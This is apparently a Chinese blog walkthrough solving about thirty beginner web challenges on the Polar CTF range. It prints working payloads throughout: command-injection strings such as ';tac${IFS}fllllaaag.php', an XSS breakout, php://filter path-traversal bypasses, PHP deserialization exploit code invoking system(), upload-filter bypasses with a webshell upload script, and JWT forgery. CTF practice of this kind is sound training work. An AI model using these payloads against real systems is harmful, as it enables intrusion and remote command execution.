【Web】记录Polar靶场<简单>难度题一遍过(全)

作者 : admin 本文共4344个字,预计阅读时间需要11分钟 发布时间: 2024-04-1 共1人阅读

目录

swp

简单rce 

蜜雪冰城吉警店

召唤神龙

seek flag 

jwt 

login 

iphone

浮生日记 

$$ 

爆破

XFF

rce1 

GET-POST 

被黑掉的站 

签到题 

签到 

session文件包含 

Don’t touch me

robots 

php very nice

ezupload 

cookie欺骗 

upload 

干正则 

cool 

uploader

覆盖 

PHP反序列化初试

机器人


明天XYCTF开始,今天干啥也不是,过过签到八股吧。

swp

【Web】记录Polar靶场<简单>难度题一遍过(全)插图

随手试试,直接访问到/.index.php.swp

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(1) 

最大回溯上限绕过preg_match

import requests

url = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {
    'xdmtql': 'sys nb'+'very' * 250000
}

r = requests.post(url=url, data=data).text
print(r)

运行脚本拿到flag 

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(2)

简单rce 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(3)

过滤了空格,可以联想到用include直接包含/flag 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(4) 

 

蜜雪冰城吉警店

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(5)

8个奶茶,要找第9个

js有点难审&调试比较牛马,下断一直不中,直接结果论吧,改id为9

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(6)

 改前端,点单成功

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(7)

 

召唤神龙

进来是一个js小游戏,但没有胜利条件啥的,js关键词搜不出什么头绪

在main.js中看到一段很刺眼的jsfuck

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(8)

JSFuck 是一种 JavaScript 的混淆技术,它可以将 JavaScript 代码转换成仅由六个字符组成的代码,即 []()!+。这种技术基于 JavaScript 语言的强大特性,尤其是强制类型转换和 JavaScript 中的一些奇技淫巧。

CTF在线工具-在线JSfuck加密|在线JSfuck解密|JSfuck|JSfuck原理|JSfuck算法 

成功解码拿到flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(9)

seek flag 

访问/robots.txt拿到第三段flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(10)

 抓包,在响应头处拿到flag2

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(11)

 注意到响应头setcookie,让id=0

本着叛逆的原则,我们可以修改cookie让id为1,成功拿到flag1

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(12)

jwt 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(13)

这个一眼垂直越权啊,先注册一个普通用户,然后jwt伪造成功以admin登录

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(14)

JSON Web Tokens – jwt.io 

jwt-cracker爆破出密钥为SYSA

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(15)

然后jwt伪造

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(16) 

改cookie中的jwt,然后再次访问

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(17) 

进入个人中心,拿到flag 

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(18)

login 

f12看到注释,知道学号密码都是20200101

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(19)

然而只是回显登录成功 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(20)

爆破后发现就是学号02-11的登录回显,进行拼凑得到flag{dlcg} 

iphone

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(21)

随便点下Enter

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(22) 

 右键查看源码,提示改UA

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(23)

 改UA为iphone即可拿到flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(24)

浮生日记 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(25)

title提示让我们弹个窗

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(26) 

测过无ssti,结合题目名字,合理可以想到js注入

发现替换了script为空,然后赋值给value

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(27)

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(28) 

显然可以先闭合value,然后独立出一个script执行恶意代码

payload:

">alert(1)

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(29)

点击确定后拿到flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(30) 

$$ 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(31)

 直接$GLOBALS读全局变量就可

payload:

?c=GLOBALS

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(32)

爆破

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(33)

if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ … }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。 

 if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ … }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。

这个肯定不是啥php特性了,只能如题所说,爆破!

2位就能爆出来【Web】记录Polar靶场<简单>难度题一遍过(全)插图(34)

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(35) 

 

XFF

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(36)

直接xff伪造ip即可

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(37) 

rce1 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(38)

过滤空格用${IFS}绕过即可

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(39) 

;tac${IFS}fllllaaag.php

 右键查看源码,拿到flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(40)

GET-POST 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(41)

正常传参就行 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(42) 

被黑掉的站 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(43)

提示站里还有马

扫出来index.php.bak和shell.php

访问index.php.bak,就是给到一个字典

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(44) 

访问shell.php,显然就是拿字典爆破

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(45)

开爆就完了

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(46)拿到flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(47)

签到题 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(48)

 承认是个弟弟,但setcookie初始值为no

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(49)

 改didi=yes,发包

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(50)

base64解码

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(51) 访问/data/index.php

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(52)

替换为空双写绕过即可

payload:

/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(53) 

base64解码即可

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(54)

签到 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(55)

把disabled删掉就可

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(56) 

弹窗 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(57) 

 但提交后还是不行,继续看前端

把maxlength改大即可

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(58) 

如下 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(59) 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(60) 

session文件包含 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(61)

发包,看到响应头给了一个PHPSESSID 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(62)点击mydirectory,回显如下

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(63)

 右键查看源码:

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(64)

似乎可以任意文件包含,尝试读文件

base64解码

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(65)

 







my dairy
my booklist

session_start()一般是给session反序列化用的,这题考的不是反序列化 

可以直接利用恶意session文件包含

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(66)

笑死,直接读环境变量的flag是假的,只能读文件

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(67)

Don’t touch me

右键查看源码

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(68)

访问/2.php

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(69) 

把bottom的disabled属性给删掉,点击后跳转/3.php

右键查看源码

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(70)

 访问/fla.php拿到flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(71)

robots 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(72)

访问/robots.txt

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(73) 访问/fl0g.php拿到flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(74)

 

php very nice

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(75)

这不直接喂到嘴边了 

$a=new Example();
$a->sys="system('tac f*');";
echo serialize($a);

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(76)

ezupload 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(77)

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(78) 

改mime type为image/gif即可 

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(79)

连蚁剑,拿flag 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(80) 

cookie欺骗 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(81)

cookie改user=admin即可 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(82) 

upload 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(83)

 随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(84) 回到初始界面,右键查看源码

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(85)

 访问?action=show_code拿到源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

 替换为空,直接双写绕过即可

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(86)

可以看到成功上传php文件

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(87)

连蚁剑,拿flag

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(88) 

干正则 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(89)

 🤔一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过

无回显的shell_exec也直接echo了

payload:

?id=a[0]=www.polarctf.com&cmd=;tac f*

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(90)

cool 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(91)

系统命令执行函数没ban干净只能说 

payload:

?a=passthru('cat f*');

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(92)

 

uploader

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(93)

这不就纯纯的无过滤文件上传,还回显路径

用py写个文件上传脚本

import requests

url = 'http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/'  # 替换成你的服务器地址

files = {'file': open('D:\CTF\码\yjh3.php', 'rb')}  # 将文件名替换为你想上传的文件

response = requests.post(url, files=files)

if response.status_code == 200:
    print("文件上传成功!")
    print("服务器返回的消息:", response.text)
else:
    print("文件上传失败!")
    print("错误码:", response.status_code)

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(94)

拿到$sandbox和filename,拼接得到文件路径

http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/d7c0fc90dc45cff7fac2064cf82a39a9/yjh3.php

连蚁剑,拿flag 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(95)

覆盖 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(96)

和之前哪题好像一样的,不解释了 

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(97)

 payload:

?id=a[0]=www.polarctf.com&cmd=;tac f*

PHP反序列化初试

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(98)

 一眼出链子

Easy.__wakeup -> Evil.__toString 

注意这里的shell_exec也是echo给了回显

exp:

name=$b;
$b->evil="tac f*";
echo serialize($a);

?>

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(99)

机器人

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(100)

访问/robots.txt

【Web】记录Polar靶场<简单>难度题一遍过(全)插图(101) 访问/27f5e15b6af3223f1176293cd015771d/flag.php(因为这里Disallow的是一个目录,所以猜测敏感文件在这个目录下)

 【Web】记录Polar靶场<简单>难度题一遍过(全)插图(102)

拼接拿到flag 

快速打完,睡觉💤

本站无任何商业行为
个人在线分享 » 【Web】记录Polar靶场<简单>难度题一遍过(全)
E-->